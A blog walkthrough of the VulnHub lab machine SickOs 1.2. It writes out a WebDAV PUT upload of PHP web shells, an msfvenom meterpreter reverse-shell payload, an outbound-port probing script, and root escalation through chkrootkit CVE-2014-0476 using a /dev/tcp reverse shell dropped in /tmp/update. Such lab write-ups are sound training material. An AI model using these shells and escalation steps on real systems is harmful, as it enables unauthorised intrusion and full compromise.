This post is a walkthrough of the VulnHub machine SickOs 1.2. I previously wrote one for its little sister, SickOs 1.1. I found this second version to be more challenging, but also more realistic; the author tried to mimic what one could encounter during a real engagement – and it does it pretty well.
Discovery
After downloading and running the machine, we see that it was assigned the IP 192.168.2.4. A port scan using nmap reveals ports 80 (HTTP) and 22 (SSH) open.
root@kali:~/sickos2# nmap -A -T5 192.168.2.4 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 66:8c:c0:f2:85:7c:6c:c0:f6:ab:7d:48:04:81:c2:d4 (DSA) | 2048 ba:86:f5:ee:cc:83:df:a6:3f:fd:c1:34:bb:7e:62:ab (RSA) |_ 256 a1:6c:fa:18:da:57:1d:33:2c:52:e4:ec:97:e2:9e:af (ECDSA) 80/tcp open http lighttpd 1.4.28 |_http-server-header: lighttpd/1.4.28 |_http-title: Site doesn't have a title (text/html). OS details: Linux 3.2 - 4.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We open a web browser, browse to http://192.168.2.4 and see the following page.
The usage of dirb reveals the listable directory /test.
root@kali:~/sickos2# dirb http://192.168.2.4 ---- Scanning URL: http://192.168.2.4/ ---- + http://192.168.2.4/index.php (CODE:200|SIZE:163) ==> DIRECTORY: http://192.168.2.4/test/
Making a HTTP OPTIONS request on this path shows that /test looks like a WebDAV directory.
root@kali:~/sickos2# curl --head -X OPTIONS 192.168.2.4/test/ HTTP/1.1 200 OK DAV: 1,2 MS-Author-Via: DAV Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK Allow: OPTIONS, GET, HEAD, POST Content-Length: 0 Date: Thu, 15 Jun 2017 16:32:35 GMT Server: lighttpd/1.4.28
We also note that the web server seems to accept HTTP PUT requests. The PUT method should allow us to upload arbitrary files on the web server. Let’s try it out. We create a file named shell.php containing the following code:
<?php echo shell_exec("id"); ?>
And send a HTTP PUT request using curl.
root@kali:~/sickos2# curl -v -X PUT 192.168.2.4/test/shell.php -d @shell.php < HTTP/1.1 417 Expectation Failed < Content-Type: text/html < Content-Length: 363 < Connection: close < Date: Thu, 15 Jun 2017 16:38:50 GMT < Server: lighttpd/1.4.28 < <?xml version="1.0" encoding="iso-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>417 - Expectation Failed</title> </head> <body> <h1>417 - Expectation Failed</h1> </body> </html
Something must be missing. After a quick Google search, we see that adding an empty Expect HTTP header should fix it.
root@kali:~/sickos2# curl -v -X PUT -H "Expect: " 192.168.2.4/test/shell.php [email protected] * upload completely sent off: 28 out of 28 bytes < HTTP/1.1 200 OK < Content-Length: 0 < Date: Thu, 15 Jun 2017 16:40:47 GMT < Server: lighttpd/1.4.28 <
Looks much better! We can now browse to 192.168.2.4/test/shell.php and see the output of the UNIX id command, confirming that we were able to upload and execute the PHP script.
We can see that the web server executing PHP is running under the www-data user, which is the default for most web servers.
Exploitation
Now that we know we can upload arbitrary PHP scripts and execute them, let’s try to spawn a shell on the machine. We use msfvenom to generate the appropriate payload.
root@kali:~/sickos2# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.3 LPORT=4444 > shell.php
Note that 192.168.2.3 is the IP of our Kali box, where we will listen for the incoming reverse shell. Using the same command as before, we start by uploading this script on the server.
root@kali:~/sickos2# curl -v -X PUT -H "Expect: " 192.168.2.4/test/shell.php [email protected]
Then, we use Metasploit to catch our reverse shell.
root@kali:~/sickos2# msfconsole msf > use exploit/multi/handler msf exploit(handler) > set LHOST 192.168.2.3 LHOST => 192.168.2.3 msf exploit(handler) > set LPORT 4444 LPORT => 4444 msf exploit(handler) > set payload php/meterpreter/reverse_tcp payload => php/meterpreter/reverse_tcp msf exploit(handler) > run [*] Started reverse TCP handler on 192.168.2.3:4444 [*] Starting the payload handler...
Note that the values of LHOST, LPORT and payload must match the ones we used with msfvenom
Then, from another terminal, we trigger the PHP script that will connect back to our attacking machine.
root@kali:~/sickos2# curl 192.168.2.4/test/shell.php
To our disappointment, we see that the script hangs and that our Metasploit handler doesn’t catch a shell. Weird. In order to run commands on the remote machine more efficiently, we can use the following bash script, execute.sh.
#!/bin/bash exec () { payload="<?php echo shell_exec('$1 2>&1'); ?>"; curl --silent -X PUT 192.168.2.4/test/execute.php -H 'Expect: ' -d "$payload"; result=$(curl 192.168.2.4/test/execute.php 2>/dev/null) } while true; do echo -n "> " read cmd exec "$cmd" echo $result done
We can run it to have a pseudo-shell. Each time we’ll enter a command, the script will upload a PHP file containing the code to run it, and call the script.
root@kali:~/sickos2# ./execute.sh > ls execute.php shell.php > id uid=33(www-data) gid=33(www-data) groups=33(www-data)
Now we can more easily attempt to understand what’s going on. First, we see that we cannot ping our attacking machine (the ping command just hangs). This likely means that some kind of network filtering is in place. Then, we can test outgoing TCP connections on various ports using netcat on both the victim and the attacking machine.
On the attacking machine:
root@kali:~/sickos2# nc -lvp 444
On the victim machine:
> nc -z -w 1 192.168.2.3 4444 && echo "connection successful" || echo "connection failed"
The -z option instructs netcat not to output anything, while the -w 1 option sets a timeout of 1 second.
We see the message connection failed printed, meaning that the machine cannot make an outgoing TCP connection to our port 4444. It’s most likely a firewall preventing us to do so.
The next step is to try several common ports to see if we can find one for which the outgoing TCP traffic is allowed. The easiest way is obviously to script it. 🙂
# We reuse the 'exec' function from above common_ports="21 22 23 25 80 110 443 8080 8443" for port in $common_ports; do # Start a listener on the port nc -lvp $port >/dev/null 2>&1 & listener_pid=$! # Attempt to connect to it from the vulnerable machine exec "nc -z -w 1 192.168.2.3 $port && echo [*] I can connect back to port $port || echo Failed to connect back to port $port" echo $result # Kill the listener kill $listener_pid 2>/dev/null done
When we run it, we get:
Failed to connect back to port 21 Failed to connect back to port 22 Failed to connect back to port 23 Failed to connect back to port 25 Failed to connect back to port 80 Failed to connect back to port 110 [*] I can connect back to port 443 [*] I can connect back to port 8080 Failed to connect back to port 8443
The machine seems to allow outgoing TCP traffic to ports 443 and 8080. We can therefore listen for our reverse shell on one of those ports. We regenerate our exploit payload with msfvenom and upload it again.
root@kali:~/sickos2# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.3 LPORT=443 > shell.php root@kali:~/sickos2# curl -v -X PUT -H "Expect: " 192.168.2.4/test/shell.php [email protected]
We kill our previous metasploit handler (CTRL+C), change the port it listens on, run it again:
msf exploit(handler) > set LPORT 443 LPORT => 443 msf exploit(handler) > run [*] Started reverse TCP handler on 192.168.2.3:443 [*] Starting the payload handler...
To finish, we trigger our PHP payload:
root@kali:~/sickos2# curl 192.168.2.4/test/shell.php
Aaand we finally have a shell.
[*] Sending stage (33986 bytes) to 192.168.2.5 [*] Meterpreter session 1 opened (192.168.2.3:443 -> 192.168.2.5:40466) at 2017-06-15 11:20:26 -0400 meterpreter > sysinfo Computer : ubuntu OS : Linux ubuntu 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 Meterpreter : php/linux meterpreter > pwd /var/www/test
Whenever we will want to work in a classic bash shell rather than meterpreter, we’ll use the following commands.
meterpreter > shell
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@ubuntu:/var/www/test$
Privilege escalation
Now that we have a limited shell, our goal is to escalate our privileges to obtain a root access. An enumeration of the system reveals that chkrootkit is installed.
www-data@ubuntu:/var/www/test$ dpkg -l ... rc chkrootkit 0.49-4ubuntu1.1 rootkit detector
We notice that the installed version (0.49) of chkrootkit has a known vulnerability, namely CVE-2014-0476.
CVE-2014-0476
When I run an exploit, I like to know how it works. If you are not interested in the details, feel free to jump to the next section.
From the initial vulnerability report, we can see that the problematic code in chkrootkit is the following.
slapper (){
SLAPPER_FILES="${ROOTDIR}tmp/.bugtraq ${ROOTDIR}tmp/.bugtraq.c"
[assignment 1]
SLAPPER_FILES="$SLAPPER_FILES ${ROOTDIR}tmp/.unlock ${ROOTDIR}tmp/httpd \
${ROOTDIR}tmp/update ${ROOTDIR}tmp/.cinik ${ROOTDIR}tmp/.b"a
SLAPPER_PORT="0.0:2002 |0.0:4156 |0.0:1978 |0.0:1812 |0.0:2015 "
OPT=-an
STATUS=0
[assignment 2]
file_port=
[condition 1]
if ${netstat} "${OPT}"|${egrep} "^tcp"|${egrep} "${SLAPPER_PORT}">
/dev/null 2>&1
then
STATUS=1
[assignment 3]
[ "$SYSTEM" = "Linux" ] && file_port=`netstat -p ${OPT} | \
$egrep ^tcp|$egrep "${SLAPPER_PORT}" | ${awk} '{ print $7 }' |
tr -d :`
fi
[loop 1]
for i in ${SLAPPER_FILES}; do
if [ -f ${i} ]; then
[execution]
file_port=$file_port $i
STATUS=1
fi
done
[...]
}
I have highlighted the relevant parts. The first assignment assigns a list of paths to the variable SLAPPER_FILES, including /tmp/update. The second assignment is probably there for clarity only, and initializes the variable file_port to an empty string. Now, if the code enters in condition 1, this variable is assigned the output of a long command, at assignment 3. This output can be empty. If the code doesn’t enter the condition, file_port will be empty as well.
Then, the [loop 1] iterates over the elements of SLAPPER_FILES (one being, remember, /tmp/update) and stores the current element in the variable i (terrible name, I’ll give you that). Here’s the issue: if it happens that file_port is empty, the line [execution] will at some point in the loop evaluate to “[empty string][space]/tmp/update”. In other terms, it will run the script /tmp/update instead of passing it as an argument to another command (contained in file_port) as expected.
We suspect that in the context of this system, file_port might indeed be empty and therefore trigger the vulnerability.
Using CVE-2014-0476 to gain root access
Chkrootkit is usually run in a cron job, as root. This can easily be confirmed by looking in the /etc/cron.* directories.
www-data@ubuntu:/$ ls /etc/cron.* ls: cannot open directory /etc/cron.d: Permission denied /etc/cron.daily: apt bsdmainutils dpkg logrotate mlocate popularity-contest aptitude chkrootkit lighttpd man-db passwd standard /etc/cron.hourly: /etc/cron.monthly: /etc/cron.weekly: apt-xapian-index man-dbUseful stuff www-data@ubuntu:/$ ls -lah /etc/cron.daily/chkrootkit -rwxr-xr-x 1 root root 2.0K Jun 4 2014 /etc/cron.daily/chkrootkit
As we suspected, chkrootkit is being run every day, as root. We create the file /tmp/update with the following contents:
#!/bin/bash bash -i >& /dev/tcp/192.168.2.3/443 0>&1
When run, this should connect back to our machine with a root shell. Don’t forget to make it executable:
www-data@ubuntu:/$ chmod +x /tmp/update
Once the script is dropped, we exit our meterpreter session (which is still listening on port 443), and have netcat listen on port 443 instead. We could have used metasploit again to trigger and listen to our reverse shell, but using netcat enables us to showcase two different ways of doing it.
root@kali:~/sickos2# nc -lvp 443
Since chkrootkit seems to only run daily, we expect to have to wait until the next day to obtain a root shell. Surprisingly, it comes to us after a few minutes like an early Christmas present!
We can now get the flag, located in the /root directory.
root@ubuntu:~# cat /root/7d03aaa2bf93d80040f3f22ec6ad9d5a.txt WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually. Thanks for giving this try. @vulnhub: Thanks for hosting this UP!.
Post-exploitation investigation
Let’s take a look at how the system was configured, and why things ended up working the way they did.
Firewall rules
First, we notice the file /root/newRule which contains firewall rules.
:INPUT DROP [0:0] :FORWARD ACCEPT [0:0] :OUTPUT DROP [0:0] -A INPUT -p tcp -m tcp --dport 22 -j ACCEPT -A INPUT -p tcp -m tcp --dport 80 -j ACCEPT -A INPUT -p tcp -m tcp --sport 8080 -j ACCEPT -A INPUT -p tcp -m tcp --sport 443 -j ACCEPT -A OUTPUT -p tcp -m tcp --sport 22 -j ACCEPT -A OUTPUT -p tcp -m tcp --sport 80 -j ACCEPT -A OUTPUT -p tcp -m tcp --dport 8080 -j ACCEPT -A OUTPUT -p tcp -m tcp --dport 443 -j ACCEPT COMMIT
Those rules essentially drop all TCP traffic, except the one from port 22 or 80, or to the port 8080 or 443.
Chkrootkit
We’re still wondering why we got our root shell so quickly, when we expected chkrootkit to run only once a day. We find the file /etc/cron.d/chkrootkit with the following contents.
* * * * * root /usr/sbin/chkrootkit
Meaning that chkrootkit is actually run every minute. We couldn’t have access to this information before, because the directory is only readable by root.
Conclusion
This was an interesting VM. I was confused at first when I didn’t manage to spawn up a reverse shell, because I was unsure if it was intended or if I had an issue in my VirtualBox networking configuration. The privilege escalation is original, and shows that enumerating every bit of the system is often useful – even though time consuming.
For those having already passed OSCP or eCPPT, I’d be glad to have some feedback on how this VM relates to the labs in terms of difficulty and techniques used.
Thanks for reading! If you liked this walkthrough, feel free to take a look at the other ones I have written.
OSCPer here.
This VM would be in good company in the Offsec training lab….perhaps with a bit more post exploit enumeration (flags, other nics, docs with CCs etc).
Thank you for your input!